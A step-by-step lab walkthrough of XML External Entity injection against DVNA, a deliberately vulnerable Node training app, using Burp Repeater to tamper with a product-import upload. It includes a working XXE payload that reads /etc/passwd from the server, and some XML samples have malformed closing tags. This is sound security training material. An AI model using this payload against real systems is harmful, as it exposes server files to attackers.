XML External Entity (XXE) Injection - DVNA

DVNA - Damn Vulnerable Node Application

Step 1: Navigate to"A4: XML External Entities" > XXE: ImportProducts.

Notice that "Bulk Import Products" feature has a file upload functionality

Step 2: Let's upload valid, benign XML file and observe the application behaviour. Save the following XML snippet into the file and save it with .xml extension and upload it using "Bulk Import Products" feature. Intercept the POST request made using Burp

<products>
    <product>
        <name>Xbox One</name>
        <code>23</code>
        <tags>gaming console</tags>
        <description>Gaming console by Microsoft</description>
    </product>
    <product>
        <name>Playstation 4</name>
        <code>26</code>
        <tags>gaming console</tags>
        <description>Gaming console by Sony</description>
    </product>
</products

Step 3: Send the intercepted request to Burp Repeater(CTRL+R) and navigate to repeater(CTRL+SHIFT+R)

Step 4: Forward the request in repeater and follow redirection. notice that the XML is parsed and the application created a table with the XML data provide

Step 5: Let's check if the XML parser allows external entity expansion. In the request body of the POST request in the repeater, modify the XML payload to the following. Forward the request and follow redirection. Notice that the XML parser expanded the entity and the product description is updated

<!DOCTYPE test [<!ENTITY desc "I love this product!">]>
<products>
    <product>
        <name>Television</name>
        <code>100</code>
        <tags>entertainment</tags>
        <description>&desc;</description>
    </product>
</product

Step 6: Let's use an XML external entity to read files on the remote server. In the request body of the POST request in the repeater, modify the XML payload to the following. Forward the request and follow redirection. Notice that the XML parser processed the external entity and the product description is updated with contents of /etc/passwd on the remote server where the XML parser is running

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY bar SYSTEM "file:///etc/passwd" >]>
<products>
   <product>
      <name>Playstation 4</name>
      <code>274</code>
      <tags>gaming console</tags>
      <description>&bar;</description>
   </product>
</products